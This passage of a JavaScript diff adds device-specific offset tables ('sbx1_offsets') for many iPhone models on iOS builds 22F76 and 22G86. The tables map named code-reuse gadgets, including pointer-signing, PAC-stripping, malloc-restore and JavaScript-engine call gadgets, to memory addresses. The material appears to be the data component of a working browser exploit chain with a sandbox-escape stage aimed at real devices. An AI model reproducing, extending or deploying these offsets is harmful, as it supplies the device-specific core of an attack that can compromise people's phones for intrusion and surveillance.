0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x2621c198cn, + fcall_14_args_write_x8: 0x24ce6c054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone15,3_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x2621c198cn, + fcall_14_args_write_x8: 0x24ce6c054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone15,4_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x261e6698cn, + fcall_14_args_write_x8: 0x24ce6c054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone15,5_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x261e6698cn, + fcall_14_args_write_x8: 0x24ce6c054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone16,1_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f28d150n, + tcall_RLG: 0x20dfda178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x2629b198cn, + fcall_14_args_write_x8: 0x24d60b054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f8b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone16,2_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f28d150n, + tcall_RLG: 0x20dfda178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x2629b198cn, + fcall_14_args_write_x8: 0x24d60b054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f8b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone17,1_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f28d150n, + tcall_RLG: 0x20dfda178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x26229a98cn, + fcall_14_args_write_x8: 0x24cefc054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f8b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone17,2_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f1202ecn, + tcall_X0LG: 0x21f28d150n, + tcall_RLG: 0x20dfda178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x26229a98cn, + fcall_14_args_write_x8: 0x24cefc054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb902cn, + transformSurface_gadget: 0x2103f8b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone17,3_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f11c2ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x261ef698cn, + fcall_14_args_write_x8: 0x24cef8054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb502cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone17,4_22F76": { + malloc_restore_2_gadget: 0x1a9a3f6c8n, + dyld_signPointer_gadget: 0x1a9a710a4n, + malloc_restore_0_gadget: 0x18fdb328cn, + malloc_restore_1_gadget: 0x1caaa15c8n, + malloc_restore_3_gadget: 0x190340d18n, + self_loop: 0x1900f3d38n, + tcall_CRLG: 0x23f11c2ecn, + tcall_X0LG: 0x21f289150n, + tcall_RLG: 0x20dfd6178n, + tcall_CSSG: 0x1ad86ec3cn, + tcall_DSSG: 0x1a9fbbb10n, + tcall_DG: 0x1e06583f8n, + _CFObjectCopyProperty: 0x18e5ba554n, + load_x1x3x8: 0x261ef698cn, + fcall_14_args_write_x8: 0x24cef8054n, + _4_fcalls: 0x1c668cbf8n, + jsvm_isNAN_fcall_gadget: 0x19ecb0a60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29a0n, + store_x0_x0: 0x1943533f4n, + mov_x0_x22: 0x19415686cn, + str_x1_x2: 0x1e6ce9b00n, + add_x22_0x90: 0x23adb502cn, + transformSurface_gadget: 0x2103f4b70n, + xpac_gadget: 0x1b683ca08n + }, + "iPhone17,5_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f1142ecn, + tcall_X0LG: 0x21f281150n, + tcall_RLG: 0x20dfce178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261c6098cn, + fcall_14_args_write_x8: 0x24cef0054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23adad02cn, + transformSurface_gadget: 0x2103ecb70n, + xpac_gadget: 0x1b683ca08n + } +}); + + Object.assign(sbx1_offsets, { + "iPhone11,2_4_6_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abc402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c605ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d4a98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef3e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd46178n, + tcall_X0LG: 0x21effe150n, + transformSurface_gadget: 0x210164b70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone11,6_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abc402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c605ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d4a98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef3e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd46178n, + tcall_X0LG: 0x21effe150n, + transformSurface_gadget: 0x210164b70n, + xpac_gadget: 0x1b6420a08n, + }, + +"iPhone11,4_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abc402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c605ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d4a98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef3e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd46178n, + tcall_X0LG: 0x21effe150n, + transformSurface_gadget: 0x210164b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone11,8_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9002cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c5d1ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d3d98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef0a2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f002150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,1_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9002cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c615ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e2798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef0a2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f002150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,3_5_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9002cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c615ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e2798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef0a2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f002150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone12,5_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9002cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c615ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e2798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef0a2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f002150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone12,8_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23aab602cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c531ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d7398cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ee2c2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f00a150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,1_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7f4ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2610ce98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed492ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f019150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,2_3_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7f8ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26146998cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone13,3_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7f8ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26146998cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone13,4_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7f8ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26146998cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,2_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c838ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26182798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed192ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,3_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a302cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c838ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26182798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed192ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01d150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,4_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a99f02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c834ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26149198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed152ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f019150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,5_22G86": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a99f02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c834ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26149198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + 